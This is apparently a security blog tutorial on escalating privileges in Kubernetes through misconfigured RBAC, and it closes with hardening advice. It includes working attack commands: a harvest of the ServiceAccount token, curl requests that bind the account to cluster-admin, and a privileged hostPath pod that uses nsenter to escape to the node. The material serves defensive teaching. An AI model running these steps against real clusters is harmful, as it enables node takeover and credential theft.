Kubernetes RBAC Privilege Escalation: Pod to Cluster Takeover
Overview & Threat Landscape#
In cloud-native production architectures, Kubernetes has become the universal control plane for deploying, orchestrating, and scaling containerized workloads. To govern access across microservices, human operators, and CI/CD pipelines, clusters rely on Role-Based Access Control (RBAC). RBAC defines which API groups, resources, and verbs a given subject—whether a human user or an automated ServiceAccount—can manipulate via the Kubernetes API server (kube-apiserver).
However, RBAC misconfigurations represent one of the most prolific privilege escalation vectors in cloud infrastructure. By default, every pod running in a Kubernetes namespace receives an automatically mounted ServiceAccount token via Projected Volumes (/var/run/secrets/kubernetes.io/serviceaccount/token). When development teams grant overly permissive rights (such as bind, escalate, impersonate, nodes/proxy, or wildcard verbs) to these service accounts, an attacker who achieves initial code execution within a single web pod can harvest the ambient token and escalate directly to cluster-admin.
[!WARNING] In Kubernetes, granting a ServiceAccount the
create podsorcreate deploymentspermission is functionally equivalent to granting full root access on the underlying node. An attacker can deploy a privileged container withhostPathvolume mounts, chroot into the host filesystem, and seize control of the entire worker node and its collocated secrets.
Vulnerability & Attack Root-Cause Analysis#
Privilege escalation in Kubernetes RBAC occurs when non-admin service accounts possess specific dangerous verb-resource combinations that allow bypassing the authorization boundary.
The primary escalation primitives include:
- The
bindandescalatePrimitive: Kubernetes prevents users from creating or updating RoleBindings to grant permissions they do not already possess, unless they hold thebindverb on the target role, or theescalateverb on the ClusterRole. Possessing either permission allows an attacker to attach the built-incluster-adminClusterRole to their own compromised ServiceAccount. - The
impersonateVerb Abuse: If a ServiceAccount is grantedverbs: ["impersonate"]onresources: ["users", "serviceaccounts", "groups"], the attacker can instruct the API server to execute subsequent API requests assystem:masters(the built-in superuser group), bypassing all RBAC policies. - Pod Creation with Privileged hostPath Mounts: If an attacker can execute
createorexecon pods, they can spawn an administrative pod mounting the host root filesystem (/) to steal the Kubelet client certificate (/var/lib/kubelet/pki/kubelet-client-current.pem) or access the raw container runtime socket (/run/containerd/containerd.sock). - The
nodes/proxySubresource Exploitation: Thenodes/proxypermission grants raw access to the Kubelet HTTP API on worker nodes, allowing attackers to execute commands inside any container running on that node via the Kubelet proxy endpoint.
sequenceDiagram
autonumber
participant Attacker as Unprivileged Web Container
participant Volume as Projected Volume (/var/run/secrets)
participant APIServer as Kubernetes API Server (Port 6443)
participant RBAC as RBAC Authorization Engine
participant Node as Worker Node Host (Kubelet / containerd)
Attacker->>Volume: Extract ambient ServiceAccount JWT token
Attacker->>APIServer: Query API server with Bearer token (auth can-i --list)
APIServer->>RBAC: Validate permissions for ServiceAccount
RBAC-->>APIServer: Grant permitted: create pods in namespace production
Attacker->>APIServer: Submit manifest creating Privileged Pod with hostPath=/
APIServer->>Node: Schedule and start privileged container
Node-->>Attacker: Privileged container starts with root host mount
Attacker->>Node: Chroot into /host and extract Kubelet credentials
Note over Attacker,Node: Full node takeover and cluster-admin escalation achievedConsider the flawed ClusterRole below, frequently deployed by automated CI/CD and deployment operators:
## Vulnerable ClusterRole: Dangerous Verbs Configuration
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: cicd-deployment-manager
rules:
# Flawed Rule 1: Wildcard verbs on workload controllers
- apiGroups: ["apps"]
resources: ["deployments", "daemonsets", "statefulsets"]
verbs: ["*"]
# Flawed Rule 2: Dangerous escalation verbs on roles
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles", "clusterrolebindings"]
verbs: ["bind", "escalate"]
Exploit Architecture & Boundary Traversal#
The diagram below details how an attacker pivots from an unprivileged pod compromise to full cluster-wide dominance:
flowchart TD
subgraph CompromisedPod ["Initial Foothold: Namespace DMZ"]
AppVuln["Vulnerable Web App (RCE / SSRF)"]
SAToken["Ambient ServiceAccount Token: cicd-runner"]
end
subgraph ControlPlaneBoundary ["Kubernetes API Server Boundary"]
KubeAPI["kube-apiserver: HTTPS / Port 6443"]
RBACValidator{"RBAC Evaluation: bind / escalate rights?"}
TokenValidation["Validate OIDC / ServiceAccount JWT Issuer"]
end
subgraph ClusterTakeover ["Full Cluster Privilege Escalation"]
AdminBinding["Create ClusterRoleBinding to cluster-admin"]
HostEscapePod["Deploy Privileged Pod (hostPID=true, hostPath=/)"]
KubeletCert["Harvest Kubelet Admin Client Certificate"]
ClusterAdminRole["Full cluster-admin Domain Dominance"]
end
AppVuln --> SAToken
SAToken -->|Authenticate via Bearer Header| KubeAPI
KubeAPI --> TokenValidation
TokenValidation --> RBACValidator
RBACValidator -->|Allow: escalate verb active| AdminBinding
RBACValidator -->|Allow: create pod active| HostEscapePod
HostEscapePod --> KubeletCert
AdminBinding --> ClusterAdminRole
KubeletCert --> ClusterAdminRoleAttack Path Step-by-Step#
Consider an attacker who achieves remote code execution in an ingress pod within a Kubernetes cluster.
Step 1: Harvesting the ServiceAccount Token#
The attacker inspects the default projected mount path to retrieve the ServiceAccount JWT and the cluster CA certificate:
# Extract the ambient ServiceAccount token and namespace
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
## Query current authorization capabilities
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-X POST -H "Content-Type: application/json" \
-d "{\"spec\":{\"namespace\":\"$NAMESPACE\"}}" | jq .
Step 2: Exploiting the `escalate`and`bind` Verbs#
If the ServiceAccount holds bindonclusterroles, the attacker creates a ClusterRoleBinding associating their service account directly with the built-in cluster-admin role:
# Craft and apply the malicious ClusterRoleBinding manifest
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
-X POST -H "Content-Type: application/json" \
-d '{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "ClusterRoleBinding",
"metadata": {"name": "pwned-cluster-admin"},
"subjects": [{"kind": "ServiceAccount", "name": "cicd-runner", "namespace": "'"$NAMESPACE"'"}],
"roleRef": {"apiGroup": "rbac.authorization.k8s.io", "kind": "ClusterRole", "name": "cluster-admin"}
}'
Step 3: Alternative Route - Host Escape via Privileged Pod#
If the token instead possesses create pods rights, the attacker schedules a container configured to mount the node host filesystem:
# Deploy a host-mounting root container
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods \
-X POST -H "Content-Type: application/json" \
-d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "escape-pod"},
"spec": {
"hostPID": true,
"hostNetwork": true,
"containers": [{
"name": "escape-container",
"image": "alpine:latest",
"command": ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/sh"],
"securityContext": {"privileged": true},
"volumeMounts": [{"mountPath": "/host", "name": "host-root"}]
}],
"volumes": [{"name": "host-root", "hostPath": {"path": "/"}}]
}
}'
[!CAUTION] Once
nsenterexecutes against PID 1 on the host, the attacker breaks out of the container cgroups and namespaces, achieving root execution directly on the Kubernetes worker node.
Fast Cyber Defense Morning Takeaways#
- Disable Ambient ServiceAccount Auto-Mounting: Pods that do not communicate with the Kubernetes API server must have
automountServiceAccountToken: falseset in their pod or service account specifications. - Audit and Eliminate Dangerous RBAC Verbs: Treat
bind,escalate,impersonate, andnodes/proxyas high-risk administrative capabilities that must never be granted to workload service accounts. - Enforce Admission Control with Pod Security Standards: Deploy Kubernetes Validating Admission Policies or admission controllers (Kyverno / OPA Gatekeeper) to block privileged containers,
hostPathmounts, andhostPIDflags.
Tonight in EDITION 2 (Night, 8:45 PM BST), we will publish the companion blue team guide:
- Enforcing Zero-Trust RBAC Least Privilege using automated audit tools (
kube-bench,krane). - Deploying Kubernetes ValidatingAdmissionPolicies to block hostPath escapes.
- Production Sigma and Falco Runtime Detection Rules for anomalous ServiceAccount token usage and API server privilege escalation.
Authoritative Technical References#
- Kubernetes Documentation: Using RBAC Authorization and Privilege Escalation Prevention
- CISA & NSA: Kubernetes Hardening Guidance - Authentication, Authorization, and RBAC
- Palo Alto Networks Unit 42: Modern Kubernetes Threats and RBAC Escalation Analysis
- MITRE ATT&CK Technique T1613: Container and Resource Discovery
Comments
Post a Comment